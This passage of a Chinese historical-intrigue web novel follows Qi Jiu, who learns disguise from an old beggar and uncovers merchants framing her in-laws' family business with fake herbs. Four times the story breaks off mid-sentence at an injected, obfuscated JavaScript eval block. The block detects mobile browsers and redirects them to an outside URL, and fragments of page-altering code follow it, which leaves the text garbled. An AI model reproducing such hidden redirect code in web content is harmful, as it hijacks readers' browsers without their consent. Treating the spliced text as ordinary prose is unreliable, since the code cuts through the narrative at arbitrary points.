可转念一想，这老乞丐身份可疑，轻功极高，为人深不可测极难琢磨，有可能是位世外高人啊……拜拜师而已，也不少块肉，若这老乞丐真是世外高人，自己便是赚了。 柒奺说：“柒奺愿拜你为师，只要你答应，教我易容术，还要教我轻功。” “你想跟我学轻功？哈哈哈……”老乞丐忽然仰天大笑，“你可知道，我的徒孙，只学去我两三成功力，便已经位列大内高手天狼之一，轻功更是整个江湖无人能及。” 柒奺撇撇嘴。 这老乞丐整天说话没个准数，谁知道他是不是在吹牛。 “我可不是要做什么天狼，也不打算闯荡江湖。”柒奺说，“我只是想学个保身的本领罢了，我也知道，作为女子经商，将来定会有诸多不便……当然，你若不愿教便算了。” 柒奺转身就要离去，老乞丐忙叫住她： “……哎，你这小猢狲，气性儿还真不小。罢了，教你可以，可这拜师的事，还是容我看看你的天赋如何再说吧。” 老乞丐呵呵笑着，捋了捋白色的胡须。 柒奺做了个鬼脸：“那我就不改口了，还是叫你老怪物。” “无妨无妨。”老乞丐就地一躺，翘起二郎腿。 如此，柒奺便开始跟着老乞丐，学习易容术和轻功。这两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530162|203563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样本事，都比她想象得要难得多，可柒奺就是不愿放弃，拗着一股子初生牛犊般的劲儿。 易容术的准备工作极为复杂。 老乞丐给柒奺写了个清单，里面有女子常用的妆粉胭脂眉黛，也有些奇奇怪怪的东西。譬如象州才有的乳胶，还有蜂蜡、石蜡、滑石磨成的粉，赭石、雄黄、砗磲，以及极细的毛笔等等。为了改变身材，还需要许多棉布棉芯等物。 当然，还有些东西，是老乞丐自己找来的，柒奺也不知道那是什么。 老乞丐手把手教柒奺改换容貌之法，又调教她观察人们的动作和声音，尽力模仿出来。 老乞丐说：“只蒙混普通人，有个六七分像就可以了。只要尽量不露出破绽，不显出女子的仪态和声音来，除了与自己最亲近的人，外人极难察觉。” 柒奺依据老乞丐的指导，将自己易容成塌眼歪嘴的小男孩，一头脏兮兮的乱发，蜷缩的身体，害怕而躲闪的眼神。 老乞丐强调，眼神，最能出卖一个人的内心。 要易容外貌，先易容自己的心。 柒奺发现，这老乞丐看似满嘴跑马车，许多话仔细琢磨，还有几分道理。柒奺每日与老乞丐聊天，每每他的话，都令柒奺有醍醐灌顶之感。 瓶儿不禁赞叹道：“娘子，可真是神了！我见你这模样，都觉得可怜得想掉泪呢。” “太好了。”柒奺满意地拍拍手，看着铜镜中的自己，“有了这易容术，将来若要外出，便再不怕被人认出来了。” 柒奺就以这副尊容，天天蹲守在东市口街上，观察铺内的一举一动。 人们都当她是丑陋的小乞丐，有人好心扔给她几个铜板，有人恶意踹她两脚，还有些顽皮的孩子，会捡石头扔她，扔完又嘻嘻哈哈地快步逃走。 “迟早教训你们这群小鸡雏子！”柒奺在心里骂道。 柒奺换了个地方蹲守，继续盯着对面祈家的药铺。 从这几日的观察看来，东市口的铺子生意一直不错。如今已是秋末，凉州地处北方，一到秋末初冬便朔风阵阵，风寒染病的人也越来越多。那日柒奺观察了铺内的药材，皆无陈药，可见铺内营收可观。尤其是有几位外地商人，近几日一连购买了几百石药材。 而到了账面上，却近大半年都是赤字。 柒奺在心里打了个算盘，覃掌柜光近期吃掉的银子，恐怕已有好几百两，够他在东市买座宅院了。 “啪嗒”，又有人扔了几个铜板给她。 柒奺拾起几个揣进兜里，只剩一个在破碗中—— 这乞丐再做下去，恐怕她也可以在平凉南门买座宅子了。 平凉城，到底是除平京之外，唯二的富庶之地。另外一个地方，便是在南方的梁州都城浮梁城，二城都是商贸集散之所。为了口头区分，文唐人都称凉州为“大凉州”，称梁州为“小梁州”。 当今文唐皇帝正在大兴工事，打算打通北络水南涑河，形成连通南北的络涑大运河，又打通灵越山脉修筑灵越栈道，将青州、象州与中北六州相连。 运河与栈道连通后，文唐的商贸发展，将要再上一个台阶。那时候，将是新的文唐盛世。 正浮想联翩，几辆骡车轧轧地停在了铺外。 “覃掌柜！” 那几位外地商人又来了。 21. 事出反常必有妖 覃掌柜见贵客来，踩着小碎步跑出铺子，喜笑颜开地将他们迎了进去。 柒奺目不转睛地盯着，大约一盏茶的工夫，几人便一齐走出门外，身后跟着三五个伙计，将一麻袋一麻袋的药材搬上骡车。 柒奺站起身，穿过人流慢慢走到对面，见麻袋里全是白花花的川贝母。 “这些人好生奇怪啊，怎么天天来买川贝母？既然专程跨州采买药材，干嘛不一次性买完呢？”柒奺疑惑地想着。 外地商人清点好货品，和伙计驾着骡车离开了。 柒奺回头看了看覃掌柜，最终还是下定决心跟上去瞧瞧。 骡车队穿过平凉城繁华的街头，在城中央调转方向去了北门。平凉城西市最为繁华，东市次之，南门民居错落，北门最为萧条。柒奺越跟越疑惑——照理说，来平凉的外地商人，最差也会选择住南门的客栈，而这些人看着出手阔绰，怎么往北门去了？ 莫不成，他们并不是回客栈？ 果不其然，骡车队径直出了北城门，城门外是一片白杨林，不远处山峦起伏，四周落叶遍地，萧索异常。面前一条笔直的官道，已被落叶覆盖，骡车队上了官道，没走出多远，忽然一转弯，穿进林子里去了。 柒奺小跑着跟上去。 两条腿再快，也追不上四条腿，当柒奺转进那条小路时，骡车队早就没影儿了。 好在车辙犹新。 柒奺顺着车辙走了半晌，又听得有人说话的声音从远及近，忙回身躲进林子里。原来，是那骡车队又返回了，可板车上已是空空如也。 “他们竟把货，卸在这种鬼地方？” 柒奺越想越不对劲，等骡车队走远，她一口气快走了一里路，才终于看见林中立着一座破院子。往四周望望，远处似乎还有几户人家，用篱笆围了几亩薄田。这座屋子，也许荒废已久，真亏他们能找到这种地方来。 柒奺绕屋转了一圈，确定屋内无人，才大大方方推门进去。门内，农具散落，衰草遍地，墙角下，果然堆着小山似的麻袋。 柒奺挨个儿打开看了看——竟全都是近日进购的川贝母。 “啧啧……事出反常必有妖啊。” 柒奺沉思着直起腰。 返回的时候，柒奺差点迷了路——风萧萧兮叶满地，碾出的车辙印，竟然就快要被落叶完全覆盖了。若再过一两个时辰回来，恐怕就连一点印记也没有了。 柒奺找了块尖锐的石子，在路两侧的树干背面，沿路刻下了记号。 回到宽阔的官道上，没走出多远，两匹马儿便从她身边呼啸而过。马上的人正是祈楚和平南山，只是柒奺改换了容貌，双方擦肩而过，彼此都未曾在意。 第二天，柒奺又易容成小贩模样，外出打听城北这座荒屋的来历。 据那里附近的人家说，那家人父母早亡，独子在平凉城内支了个摊子卖馄饨，前几年攒了些钱娶了个媳妇儿，就在平凉城南门买了处小宅子住下。这里偏远，他要在城内摆摊，这里就荒着了。 柒奺也找到了那人的馄饨摊，打听到他的老宅被几个外地商人租去，对方出手阔绰，一天竟给一吊钱。他觉得自己捡了大便宜，甚是沾沾自喜，柒奺随口一问，便急不可耐地全盘托出。 摊主说完，一拍自己的脸蛋：“哎呀瞧我这嘴，他们还嘱咐我不要往外说呢。” 柒奺笑笑，喝完了手中的馄饨汤。 一天一吊钱租个破屋，还真是大手笔。 柒奺心知其中定有隐情，可还未等柒奺想明白，祈家大房的危机却突然降临了。 “……你说什么！” 一大早，听了小厮的来报，祈铄气血攻心，抚着胸口大咳起来，咳得沈氏肚子里伸出手，一把将心脏攥得紧紧的。 “郎君，你先顺顺气……可别气坏了身子啊！” 祈铄咳完，虚弱地撑着案几看向面前的小厮，小厮惊慌失措地说：“主君，好几个掌柜的都来了！说……说咱家的药是假药，现在好多买家聚集在铺子前闹事，掌柜们没法子，只能来求您主持公道……” “快……”祈铄顾不得气喘眩晕，勉强支撑着走出去，“快去请柒小娘子过去……还有……还有扈掌柜……快！” 沈氏也没办法，只得使了个眼色给秦妈妈，秦妈妈立马冲出门去。 秦妈妈赶到别院时，柒奺已经易容好，准备翻墙出门。瓶儿慌得丢了魂儿，忙冲到大槐树下把柒奺拉回来，柒奺跑进房里擦脸换衣，瓶儿便在门口魂不守舍地站着。 秦妈妈一路小跑进来，路上不平，还狠狠跌了一跤。 她也顾不得疼痛，一骨碌从地上爬起，扑到柒奺门外： “小娘子在哪里？快……家里出事了，主君要小娘子赶紧过去！” 瓶儿伸手拦住秦妈妈：“娘子……娘子还没起呢，秦妈妈，你就在这儿等会吧！” 秦妈妈骂道：“这都太阳晒屁股了还没起床！赶紧的，也不要怎么打扮了，立马随我过去！” “知道了秦妈妈！”柒奺一边飞快擦脸梳头，一边隔着门窗说道，“我最近身体不适，因而起得晚了些……对了，家中出什么事了？” 秦妈妈站在门外，将家中之事一口气说了出来。柒奺听了，却仿佛有种醍醐灌顶之感——她总算明白，那些商人究竟在盘算些什么了，可惜为时已晚。 刚说完，柒奺便已重新梳洗完毕，开门走了出来： “我知道秦妈妈，我这就随你过去。” 祈宅大门外，此时已经聚集了许多的围观人群。祈家大房的宅院本就在最繁华的西市，此时摆摊的扔下摊子，卖小吃的熄了炉火，赶车的也拴住车马，都跑来祈家门口看热闹。 近段时间从祈家卖出的近千石川贝母，就如小山似地堆在祈宅门口。 “大家都来评评理啊……” 一位外地商人就站在人群中，拿出匕首划破一只麻袋，顿时，白花花的川贝母滚落满地。 “大家看看啊！这，就是平凉有名的祈家商号卖给我的川贝母，大家看看是什么？”他弯腰捡起地上的一颗，“这哪是川贝母，分明就是白粉捏的粉丸子！我可是慕名来这平凉采购药材的，哪知这祈家商号，竟敢如此明目张胆地作假！简直……有辱平凉商人的名声！” 围观群众纷纷捡起地上的川贝母，两指一捏，果然化为粉末。 “这祈家商号的东家，不是号称‘平凉第一儒商’吗？竟然做这种丧尽天良的事……” “是啊！”外地商人说，“这位兄台说得对！药，那是要治病救人的！你们说，这药若是给病人吃了，那能好吗！” 好事是人群的基本素质，有人跟着起了哄，顿时祈宅门前一片叫嚣。 平凉第二的陶家掌柜，此时也在人群中。他见此情景，转身拨开人群，匆匆赶去了陶宅。 陶家的主君叫作陶墉，亦是经营药材的大商家。 当然，陶家家大业大，比起平凉第一的姜家来，还是相差甚远。好在陶墉七八年前，将自己的妹妹送给姜家主君姜实维做妾，又生了一对庶子女，两家沾了个姻亲，由是互相捆绑，成为这平凉城最具权贵的两大家族。 同行相轻，陶墉自是关注着祈家的动静，尤其是对祈家的千金庄垂涎已久，做梦都想夺过来。 陶墉生得细瘦精干，黄皮鼠目，两撇山羊胡子，天生一副奸雄之相。不似姜实维粉面大肚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532582|203563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一副弥勒相，也不似祈铄般文弱儒雅。 他肚子里九曲回肠，一副心眼二十八个窍，倒是与祈桓有些相似。 因此对于祈家，他也只勉强把祈桓当个对手。 听了掌柜的来报，陶墉只冷笑一声，拿小金勺喂笼子里的金丝雀： “在平凉城，连黄口小儿都知道，什么叫‘慈不掌兵义不掌财’，他祈铄却撺掇着商会里那些没脑子的，去给北固军送免费的物资——哼，秦起是什么人？会因为这点小恩小惠，就将军用物资交给祈家么？我看他就是蠢笨，不仅什么好处没捞到，还处处树敌。今日之事，就像吃了口苍蝇，恶心也恶心死他。” 掌柜立在一旁，试探地问：“那……我们要不要推一把？可如果祈铄倒了，祈家产业交到祈桓手里，会不会……就更难对付？” “祈桓做了一辈子王八，早就习惯了谨小慎微，缩着脑袋过日子，我才不屑把他放在眼里。” 陶墉放下小金勺，拍拍手掌灰说： “不用管，让他们去闹。冬日无聊，且拿来做个消遣。” 与此同时，关薄言的小厮关安，也一路小跑着回到曹参府。刚进书房，就冲到关薄言的书案前，压低声音喘着粗气说道： “大人，不……不好了，祈家出事了！” “什么？”关薄言猛地站起身来，“出什么事了？难道是奺儿？” 关安将所见所闻讲给关薄言听，关薄言放下毛笔就想过去，走到门口却又停了下来： “我此时去不太妥当……罢了，好歹是与奺儿无关——关安，你快回去，有什么事及时来报我。” 关薄言忽然有些莫名激动——也许，这便是一个机会，能让奺儿彻底脱离祈家。 等关安重新回到祈宅门口时，柒奺与扈掌柜也赶到了。 扈掌柜是从大门进去的，看着满地白花花的川贝母，他心中便有了不祥的预感，跟着门房小厮快步跑了进去。而柒奺是从后门进入祈宅的，两人几乎同时到达前厅，远远便见厅内人头攒攒。 这几日她见过的外地商人，此时正站在厅中据理力争。 “你们怎么现在才来！扈掌柜，你快快想个法子吧！” 沈氏已是脸色苍白，抓住扈掌柜便哭诉起来。不仅因为今日家中横遭了变故，更是因为祈铄面对这几个雍州来的商人，忽然急火攻心，竟然咳出血来。 如果郎君今日有了什么事，她一个妇人，又丧失独子，今后该怎么办啊！ “公爹……您怎么样了？” 柒奺先去看瘫坐在太师椅上的祈铄。 祈铄虚弱地摆摆手，已是面色如土，气若游丝，捂着胸口一句话也说不出来。 雍州商人抱起胳膊说道： “祈老板，你就别在这和我们演苦肉计了，我们千里迢迢来这平京进购药材，上千石的川贝母啊，竟然全都是面粉疙瘩！此事若你们祈家给不出个说法，我便去报官！” 扈掌柜正要说话，柒奺上前一步，抬声问道： “敢问您贵姓？” “免贵姓孙。”孙老板略一拱手。 “孙老板，我是祈家的小娘子柒奺，我有一事不明，想请教孙老板。” “小娘子？”孙老板将柒奺上下打量一遍，“怎的，你们祈家，竟是女人当家做主吗？传出去不让人笑掉大牙！” 沈氏听了，忙走上来拉柒奺。瓶儿顿时着急起来，想拖沈氏却又不敢。 柒奺却目不斜视地挣开沈氏，又上前一步，抬高下巴看着孙老板：“怎么，不当家做主，便不能请教孙老板了吗？” 孙老板一噎，冷哼一声说道： “那就请小娘子赐教。” 22. 天地可鉴 “好。” 柒奺说：“川贝母，主伤寒润肺，敢问雍州近日是否有寒疫流行？川贝母虽是常备药，但孙老板一买便是近千石，着实令柒奺好奇。” 孙老板瞥了他一眼：“我花钱买货，用于何处你管得着吗？” “是与我无关。”柒奺说，“那敢问孙老板，为何这近千石川贝母，却要分几批多日购买？这做惯了生意的都知道，大批进购需表明数量品质的需求，协约盖印，先下定金，择日交付，验货无误方可交割。孙老板以散货形式分批购买，既费时费力还无凭无据，这又是为何？” 扈掌柜点点头，问其他几位掌柜：“可有问过孙老板需要进购多少药材？” 掌柜们连声说道：“问过了啊！可孙老板说也就几十斤，现银结款便可……” “几十斤？”柒奺笑了笑，对孙老板说，“几十斤与近千石，其中的差额有点大啊……况且，孙老板远从雍州而来，不货比三家，直奔我祈家药铺，又谎报数额，分批进购如此大量的川贝母，很难不叫人起疑。” 孙老板有些心虚，却强词夺理道：“我愿意在哪买、怎么买，你们管得着吗？” 见他这样子，沈氏总算是松了口气，周围的掌柜们也对他指指点点起来。 孙老板恼羞成怒，指着柒奺说道： “我说你这小娘子，区区女流之辈，在这胡乱攀蔑，我懒得与你多费口舌！总之，你们祈家的药是假药，是面粉疙瘩，事实摆在眼前，你们想赖账，那我就去报官！我就看看你这‘平凉第一儒商’的脸，究竟往哪搁！” 祈铄一听，又大咳起来。沈氏顿时六神无主，忙叫着丫鬟拿参汤来。 “铄郎……还是回房歇着吧！你这样……” “不……不用。”祈铄仍倔强地摆了摆手。 沈氏重重叹息，抹了抹眼泪。 “谁说是假药了！”柒奺抬高音调，“孙老板，这药出铺时，你可是验过无误的，药在你手中过了几日，如今才说药是假的，谁肯信？这药终究过了你的手，闹到官府究竟是谁有理还未可知呢！” 扈掌柜也说：“是啊，究竟是谁换了药，谁想污蔑祈家，我们也不惮去官府面前评评理！” “你们……” 孙老板后退两步，指着柒奺和扈掌柜说道： “你们说是我换了货？那我问你们，若我把近千石川贝母换成面粉，真正的川贝母又在哪里？——那可是近千石啊！我们来凉州不过十几日，在哪存放？又怎能制出这么多面粉疙瘩？你们祈家拿得出证据吗！” “这……”扈掌柜忽然语塞。 这个雍州来的孙老板，虽然与祈家无任何渊源，可摆明是针对祈家来的。 他的话倒给扈掌柜提了个醒——如今若找不到那批川贝母，此事祈家便难撇干净，说来说去都是各有道理。即便闹到官府，最后各打五十大板，也会对祈家的名誉造成无可挽回的损伤。 人无信不正，店无信不兴。 真应了陶墉的那句话，此事结果如何，祈家都像吃了苍蝇般，只能自己胃里恶心。 “扈掌柜……”沈氏满怀希望地看着他，可他也没有办法，难道要派祈家所有人出去，搜遍整个平凉城吗？ 而此时的柒奺，却提起嘴角笑了。 她一拍手说： “哎呀真是巧，我还就知道，那批真的川贝母究竟在哪。” 一行人浩浩荡荡地，朝着城北走去。 柒奺和瓶儿坐的骡车，其余人等步行前往，只有祈铄实在难以起身，沈氏便将他先扶回房内休息。 出了北门，上了官道，柒奺撩起帘子瞥了一眼孙老板等人。 越往这边走，那几人的表情越发紧张，孙老板更是连连抬袖，擦拭额头沁出的汗水。他现在是如坠云雾，如踩针毡——这小娘子难道通了神了，竟然能算出他们藏真货的地方？ 柒奺在骡车上笑道：“孙老板！如此凉秋，孙老板却大汗涔涔，不知是体虚还是心虚呐？” 孙老板吞了口唾沫，转过头去不作应答。 到了地方，柒奺跳下骡车步行，一路循着之前划下的记号，引众人朝林中走去。 扈掌柜一看雍州那几人的表情，简直如丧考妣，便觉得此事有了着落。他快走两步跟在柒奺身后，问柒奺道：“小娘子……怎么会知道这个地方？” “这……”柒奺顿时语塞，只得搪塞道，“不过碰巧罢了。” 扈掌柜也是个聪明人，知道无须深究，便只压低声音说道： “这批人陆陆续续购了近千石川贝母，定是有人背后授意。这几间铺子的掌柜，都是在祈家做熟的老人了，不可能看不出其中的蹊跷……小娘子将来接手祈家生意，恐怕要有得烦心了。” 柒奺点点头说：“我什么也不懂，还请扈掌柜替我分忧。我知道公爹最信任您，那么柒奺也愿意全心全意地信任您。” 扈掌柜忙答应着，眼眶竟有些湿润。 说话间，便到了那座林中荒屋。 柒奺领着众人走上去，一把推开大门，孙老板等人心虚不敢上前，只远远站着。 可走进去的柒奺和众位掌柜，却愣住了—— 屋内，竟什么也没有。 见着他们的表情，孙老板几人也狐疑地互相看了一眼，快步跨进门去。只见屋内杂草遍地，只有缺胳膊少腿儿的桌凳歪在中央，整座屋子空空荡荡，哪里有近千石川贝母的影子？ 柒奺也慌了，顿时不知该说什么。 她甚至怀疑自己——难道，那日是自己眼花了？白日发梦了？ 见此情景，孙老板和几位雍州老板大笑起来： “哈哈哈……你不是说真的川贝母在这里吗？在哪，你指给我看看？难不成，在这地底下埋着呢？哈哈哈哈……” “这……” 扈掌柜与柒奺面面相觑。 “……等等！” 扈掌柜突然快步走到墙角下，蹲下身在杂草堆里掏起来，不一会儿，竟从那捡起了两三颗川贝母：“这屋里……应该真的存放过川贝母！大家看，这川贝母还很新鲜，屋内想必还有其它遗落的，大家快找找看！” 几位掌柜连同瓶儿，都蹲下身在草丛里翻找起来，只有柒奺立着不动。 她还是想不通—— 难不成是听见风声，有人提前过来转移了川贝母？可他们从祈宅到这里，也不过一个时辰左右，这么短的时间内，有可能转移掉如此数量的川贝母吗？ “我看还是别找了。”孙老板得意地说道，“就算找着了，那也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534508|203563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是你们私藏在这里的，扈掌柜、小娘子，你们还是别再演戏了吧！” 柒奺冷笑一声，看向孙老板：“这屋子，是你们找南门卖馄饨的那人租的吧？一天一吊钱租金，真是大手笔。” 孙老板一愣。 “是又怎样？我爱租哪里的房子，爱给多少租金，和此事有什么关系？你既提前知道我在这租了屋子，撒几颗川贝母想要污蔑我也不是不可能！告诉你们，你们要是找不到你们说的真货，这事儿你们祈家就得给个说法！” 扈掌柜神色复杂地站起身，小声对柒奺说道： “小娘子，他说得也没错。此事……还是回去从长计议吧。” 待柒奺一行再次回到祈宅，天已经黑尽了。 小山似的面粉疙瘩仍旧堆在门口，只是看热闹的人已经失去了兴趣，各自管自己的营生去了。 祈宅大厅内灯火通明。 祈铄休息了半晌，总算稳住了气息，在沈氏的搀扶下回到厅中。 听罢扈掌柜的回报，祈铄神色凝重地叹了口气，沈氏更是拉过柒奺骂道：“叫你胡说八道！如今找不到那批川贝母，我看你怎么收场！你就乖乖站到旁边去，不要插嘴了！” 柒奺深吞一口气，无奈地站回沈氏身后。 孙老板则大大方方地坐下来，端起茶品尝了一口： “祈老板，你还是快快给个决断吧。不过区区几百两银子罢了，你们祈家也不是赔不起，何故来回折腾这大半日。若是今日把银两赔了，再当众给我们道个歉，此事也就作罢。” 祈铄看着孙老板等人，心中却难以抉择。 赔款的事好说，可这银子若是赔了出去，便是坐实了祈家售卖假药。一传十十传百，祈家的声誉，也就毁为一旦了。 孙老板也不催促，只气定神闲地啜着茶，甚至翘起了二郎腿。 远远的，一个声音从厅外传来—— “大哥，此事是我祈家不对，你还是赔了吧！” 所有人同时转过目光看去，竟是四房的祈炜风风火火地走了进来，身后，还跟着两位老者，似是祈家的耆老们。 祈炜刚进来，便向孙老板深深鞠了一躬，痛心疾首地说道： “此事是我祈家有错在先……我家大哥最近身体欠佳难以主事，出了如此大的纰漏，实属不该……大哥啊，你若现在承认，赔款道歉，咱祈家还能赚个知耻能改的名声！你若再绷着，他们去报官将此事闹大，那可就更得不偿失了啊！” 祈铄心里冷哼一声，只勉强起身，对祈炜身后的两位老者说道： “三叔公，六叔公……” 沈氏、柒奺和各位掌柜，也都行了礼。 两位叔公什么话也没说，只是各自坐下，面上一副“恨铁不成钢”的表情。 祈炜又继续说道： “大哥，两位叔公听说了此事，也是心急如焚，快马加鞭地赶了过来，你执意不肯同意，难道是银子的问题？放心吧大哥，我与二哥听说此事，早就筹措了银两，银钱的事你不用担心……” 祈铄坐回太师椅上，冷冷一笑： “此事，我祈铄绝不会认！我接过祈家产业二十多年，从来没有做过违背良心的事，天地可鉴！想要将脏水泼给我……告诉你们，门都没有！” 23. 夫妇相见不相识 祈铄的一番话，令柒奺和扈掌柜都重新振奋起来。 泼了脏水便接下，那是臭水沟。 “……大郎！” 三叔公终于忍不住了，用力一拍扶手，大声说道： “你是不是有事瞒着我们！你自中箭以后，卧病在床三四个月，祈家的生意你是不管不顾！你父亲将整个家业交到你手上，就给你如此蹉跎的吗？还有……祈楚那小子在哪？家中发生如此大事，竟要一个小娘子抛头露面，他究竟为何不出来！” 三叔公这一番话，吓得沈氏瑟瑟发抖。 柒奺也不知该如何应答，只能看了一眼沈氏，默默站在原地。 沈氏抖着声音说道：“楚儿他……他病着……” “你还敢胡说！” 三叔公震怒。 沈氏吓傻了，此情此景如同天崩地裂，令她一阵气短，顿时头晕目眩。 “大哥……你这娘子心思歹毒，这么大的事，她竟然瞒着你不让你知道！”祈炜从袖口掏出一张卷起来的宣纸，走到祈铄面前递给他，“你看看吧！楚郎他……他早就已经战死沙场了！” 沈氏突然长啸一声，弯腰恸哭起来。 她已无法阻止祈铄展开那张纸——阵亡者的名册。 祈铄颤抖地扫过名单上的名字，目光，定在了“祈楚”的那一栏。他心里早已做好了准备，可当真相摆在眼前时，他还是两眼一发黑，几欲晕厥。 柒奺走上去扶着祈铄，说道：“公爹……” 祈铄摆摆手，阻止她再说下去，只是捏着那份名册，哀恸地闭上眼睛—— 祈家产业和千金庄，今日，怕是要保不住了…… 三叔公见此情景，也重重叹了口气： “大郎，你膝下仅一子，如今这唯一的儿子也战死了……我们体谅你痛失独子，可这偌大的祈家产业，还是要有人继承下去啊！……来时路上，我与你六叔公已经其他族老商议过了，就将……就将千金庄交到二郎手中，铺子可以留下几间，给瑛娘作养老用……” 沈氏听了，哭得愈发大声起来。 祈炜心中欣喜，忙转头问身旁的小厮：“这事儿快成了，怎的二哥还没过来？快，你赶紧看看去！” 小厮点点头，快步跑出门去。 白天，祈炜接了两位叔公，便去见了祈桓打算按照约定与他同来。可祈桓却说铺子里出了事，叫他先行一步自己随后就来。祈炜从小是仰望着祈桓长大的，没了二哥，他心里总是十五个吊桶打水——七上八下。 刚跑出去没多久，祈炜的小厮又折返回来，身后还跟着另一名小厮，是二房祈桓身边的。 祈炜瞧他身后没人，正要问他祈桓在哪里，小厮却径直走到厅中，对众人拱手拜了一拜： “我家主君身体不适，无法前来，让小的原话转告众位郎君族老——我一心只为祈家着想，若大哥不愿担这罪名，那就我来担，祈桓并无他求，只盼祈家无恙，兴盛延绵。” “瞧瞧……二郎这胸襟气度，才是做大事的人啊！” 三叔公和六叔公互相看了一眼，都对祈桓赞不绝口。 三叔公心意已决，继续对柒奺说道：“至于刚进门的柒小娘子，你若愿意在此与楚郎和离，我便代表祈家耆老，同意你再醮。并且我了解到，小娘子无父无母，若是再醮，怕是无嫁妆傍身。只要你同意，我就做主送一间平凉城内的铺子给你，以作补偿。” “娘子……” 瓶儿捏了捏柒奺的手，她知道这对柒奺来说也是一个机会，只要经祈家族老同意，她便能顺利离开嫁给关曹参，如此也不用再淌祈家这趟浑水了。 柒奺却立在原地，不发一言。 今时今日，她算是小刀拉屁股——开眼了。原来这祈家，竟是这般刀山火海的境地。 她没有回答，而是转头问祈铄：“公爹，您同意将祈家产业交出去么？” 祈铄重重摇头：“除非我死了！否则……否则我绝不会同意！” “……那柒奺也不同意和离！” 柒奺忽然转身面向厅内，大声说道： “郎君虽早夭，但公爹还在！只要公爹养好身子，将来还会有继人，怎可今日便要交出产业？就算此时公爹同意交出祈家产业，可又与今日之事有何干？如今孙老板尚在厅中等候，还是解决了这泼脏水的事，再谈也不迟吧！” 祈炜急了，走出来说道：“这事儿还要怎么解决？赔钱赔礼不就完了？这儿……这儿哪轮到你这小娘子说话！” 柒奺心一横，说道：“不可赔钱也绝不会赔礼，这事明显是有人栽赃陷害！” 祈炜听了，有些心虚地缩了缩脑袋。从小都有精明强干的祈桓顶着，他到底是担不住事儿的，此时他心中已惴惴不安，只盼望着祈桓能来替他撑着。 扈掌柜也适时走出来，对祈家二老深鞠一躬，期望动之以情晓之以理： “二位祈家族老，我扈同是在祈家几十年的老掌柜了……如今我也已近知天命的年纪，可今日之事，我敢以名誉乃至性命担保，绝不是东家所为啊！还是……先等我们查明真相吧！……” 二位族老相看一眼，心知还是挽回祈家的名声重要，家产易主之事可容后再议。 可此话孙老板却不爱听了： “什么泼脏水，什么栽赃陷害？我说你们祈家可别为了把自己撇干净，在这里信口雌黄！要不行，我们这就去官府评评理去！说我换了你们祈家的货，你们可有证据？简直血口喷人，忍无可忍！……” 孙老板说完，愤然起身打算离去。 走到门口，却有人伸出一臂，挡住他的去路。 “证据，自然是有了！” 灯火之下，月影之中，一袭白衣随秋风飘飞。 沈氏忘了哭，瞪大双眼盯着厅门，忽然怪叫一声晕厥过去。 祈炜登时傻眼了： “楚……祈楚？” “这……祈炜，这是怎么回事！”三叔公和六叔公大为震惊，互相扶将着冲到厅门口，将祈楚上上下下打量了几十遍，“楚郎，你不是战死沙场了吗？这到底是怎么回事啊！” “是四叔说的吧。” 祈楚走进厅内，瞥了一眼祈炜：“我是险些战死沙场，不过老天怜悯我父母，膝下仅我一子，无人继承家业，便将我救了回来。近几月我都在家中养伤，刚好了些便出了这等子事，若我今日再不露面，恐怕祈家的家产，就被人陷害夺走了吧！” 祈炜听了，目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536649|203563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光躲闪地退到一旁。 三叔公欣喜地连连点头：“没事就好，没事就好啊！我们也是为着祈家啊……” 远远的，柒奺怔在原地，似是有些回不过神来。眼前不断闪过别院里的汉白玉坟墓，墓前的烛火，摇曳的魂幡……脑子忽然有些混乱。 他……就是祈楚？ 他究竟从哪儿冒出来的？……难不成我天天骂他，真把这死鬼从墓里骂活了？ 柒奺满腹狐疑，还真叫一个—— 夫妇相见不相识，笑问客从何处来。 “那就是郎君啊？”瓶儿见祈楚翩翩俊朗的模样，激动得使劲拽柒奺的手臂，“娘子，郎君可真真是玉一般的人儿，与娘子甚是般配啊！” 祈楚也瞥见了站在角落的柒奺，忽然有些尴尬。 